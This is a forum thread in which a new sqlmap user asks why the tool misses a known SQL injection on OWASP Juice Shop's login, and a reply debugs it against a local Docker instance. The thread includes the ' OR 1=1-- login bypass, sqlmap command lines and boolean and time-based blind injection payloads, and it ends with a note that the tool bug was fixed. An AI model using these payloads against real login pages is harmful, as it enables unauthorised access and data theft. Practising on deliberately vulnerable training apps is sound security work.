Using sqlmap for detecting SQLi on Juice shop's login page

  • New Sqlmap user, so please be patient 🙂

    I've started looking at the tool and I'm curious about its use. For instance, the login page of OWASP's Juice shop is vulnerable to sql injection (' OR 1=1-- and you'll be automatically logged in as admin), but running the tool from the cmd line over the login url doesn't detect any vulnerability. Here's the cmd I'm running:

    sqlmap -r D:\sql_juice.txt  --risk 3 --threads 10 --ignore-code 401 --level 5

    And here's the request file I've captured with Fiddler:

    POST http://ws-windows1001:9100/rest/user/login HTTP/1.1
    Host: ws-windows1001:9100
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
    Accept: application/json, text/plain, */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/json
    Content-Length: 31
    Origin: http://ws-windows1001:9100
    Connection: keep-alive
    Referer: http://ws-windows1001:9100/
    Cookie: language=en; welcomebanner_status=dismiss

    I expected the tool to detect the vulnerability, but it seems like I must be doing something wrong...sould sqlmap detect this scenario?


  • First of all always try to minimize usage of --threads when you are facing problems and consider testing with something like --delay=1 as the service might not work normally in high load.

    I started Juice with:

    docker run --rm -p 3000:3000 bkimminich/juice-shop

    Then when I try to login with invalid creds:

    POST /rest/user/login HTTP/1.1
    Content-Length: 46
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
    Content-Type: application/json
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: language=en; welcomebanner_status=dismiss
    Connection: close

    And notice error message from the application:

    HTTP/1.1 401 Unauthorized
    Invalid email or password.

    When I repeat the query with ' in email parameter:


    We will observe following response from service:

    HTTP/1.1 500 Internal Server Error
      "error": {
        "message": "SQLITE_ERROR: unrecognized token:

    Then we can start exploiting it with sqlmap. We are using --dbms=sqlite to reduce amount of queries and we are ignoring failed logins causing 401 responses. By default sqlmap will stop testing in case of 401 responses.

    ./ -r query.txt --ignore-code=401 --dbms=sqlite

    Where query.txt content is:


    Result should look like:

    $ ./ -r query.txt --ignore-code=401 --dbms=sqlite
    [04:44:10] [WARNING] (custom) POST parameter '#1*' does not seem to be injectable
    [04:44:10] [WARNING] HTTP error codes detected during run:
    401 (Unauthorized) - 135 times, 500 (Internal Server Error) - 19 times

    When we run sqlmap with following command line:

     ./ -r query.txt --ignore-code=401 --level=5 --risk=3 --technique=B --dbms=sqlite -t traffic.log

    We can actually see following in traffic.log:

    {"email":"' OR 3083=3083-- LNfg","password":"test"}

    With response:


    But for some reason sqlmap doesn't detect that as a vulnerability. Feels like a bug, but not sure why this happens exactly. Need to investigate more.

    If we run following we can find the vulnerability as time-based blind:

    $ ./ -r query.txt --ignore-code=401 --level=5 --risk=3 --dbms=sqlite -t traffic.log
    sqlmap identified the following injection point(s) with a total of 694 HTTP(s) requests:
    Parameter: #1* ((custom) POST)
        Type: time-based blind
        Title: SQLite > 2.0 AND time-based blind (heavy query)
        Payload: {"email":"'||(SELECT CHAR(79,100,67,109) WHERE 8186=8186 AND 9788=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'","password":"test"}
    [05:30:04] [INFO] the back-end DBMS is SQLite

    UPDATE: I submitted this case as an issue to sqlmap GitHub project. See:

    2nd UPDATE: This has now been fixed in upstream.

Suggested Topics

  • 2
  • 2
  • 2
  • 2
  • 2
  • 2
  • 2
  • 2